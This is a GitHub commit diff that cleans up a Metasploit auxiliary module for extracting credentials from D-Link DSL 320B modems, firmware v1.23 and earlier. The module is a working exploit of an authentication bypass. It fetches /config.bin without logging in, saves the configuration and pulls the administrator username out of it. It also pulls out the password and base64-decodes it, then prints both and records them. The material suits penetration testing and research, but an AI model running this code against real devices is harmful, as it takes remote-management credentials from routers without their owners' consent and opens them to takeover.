Skip to content

Commit feac292

Browse files
author
jvazquez-r7
committed
Clean up for dlink_dsl320b_password_extractor
1 parent ee46771 commit feac292

File tree

1 file changed

+24
-24
lines changed

1 file changed

+24
-24
lines changed

modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb

Lines changed: 24 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -16,15 +16,16 @@ def initialize
1616
super(
1717
'Name' => 'DLink DSL 320B Password Extractor',
1818
'Description' => %q{
19-
This module exploits an authentication bypass vulnerability in DSL 320B =< v1.23.
20-
With this vulnerability you are able to extract the password for the remote management.
21-
},
19+
This module exploits an authentication bypass vulnerability in DLink DSL 320B
20+
<=v1.23. This vulnerability allows to extract the credentials for the remote
21+
management interface.
22+
},
2223
'References' =>
2324
[
24-
[ 'URL', 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ],
25-
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ],
2625
[ 'EDB', '25252' ],
27-
[ 'OSVDB', '93013' ]
26+
[ 'OSVDB', '93013' ],
27+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ],
28+
[ 'URL', 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ],
2829
],
2930
'Author' => [
3031
'Michael Messner <[email protected]>',
@@ -34,50 +35,49 @@ def initialize
3435
end
3536

3637
def run
37-
3838
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
3939

4040
#download configuration
4141
begin
4242
res = send_request_cgi({
4343
'uri' => '/config.bin',
44-
'method' => 'GET',
45-
})
44+
'method' => 'GET'
45+
})
4646

4747
return if res.nil?
4848
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /micro_httpd/)
4949
return if (res.code == 404)
5050

5151
if res.body =~ /sysPassword value/ or res.body =~ /sysUserName value/
5252
if res.body !~ /sysPassword value/
53-
print_line("#{rhost}:#{rport} - Default Configuration of DSL 320B detected - no password section available, try admin/admin")
53+
print_status("#{rhost}:#{rport} - Default Configuration of DSL 320B detected - no password section available, try admin/admin")
5454
else
55-
print_good("#{rhost}:#{rport} - credentials successfully extracted")
55+
print_good("#{rhost}:#{rport} - Credentials successfully extracted")
5656
end
5757

5858
#store all details as loot -> there is some usefull stuff in the response
59-
loot = store_loot("Configuration_dsl320b.txt","text/plain",rhost, res.body)
59+
loot = store_loot("dlink.dsl320b.config","text/plain", rhost, res.body)
6060
print_good("#{rhost}:#{rport} - Configuration of DSL 320B downloaded to: #{loot}")
6161

62+
user = ""
63+
pass = ""
64+
6265
res.body.each_line do |line|
6366
if line =~ /\<sysUserName\ value\=\"(.*)\"\/\>/
64-
@user = $1
67+
user = $1
6568
next
6669
end
6770
if line =~ /\<sysPassword\ value\=\"(.*)\"\/\>/
6871
pass = $1
69-
vprint_good("#{rhost}:#{rport} - user: #{@user}")
70-
#pass = Base64.decode64(pass)
7172
pass = Rex::Text.decode_base64(pass)
72-
vprint_good("#{rhost}:#{rport} - pass: #{pass}")
73-
74-
report_auth_info(
75-
:host => rhost,
76-
:port => rport,
77-
:sname => 'http',
78-
:user => @user,
79-
:pass => pass,
80-
:active => true
73+
print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}")
74+
report_auth_info(
75+
:host => rhost,
76+
:port => rport,
77+
:sname => 'http',
78+
:user => user,
79+
:pass => pass,
80+
:active => true
8181
)
8282
end
8383
end

0 commit comments

Comments
 (0)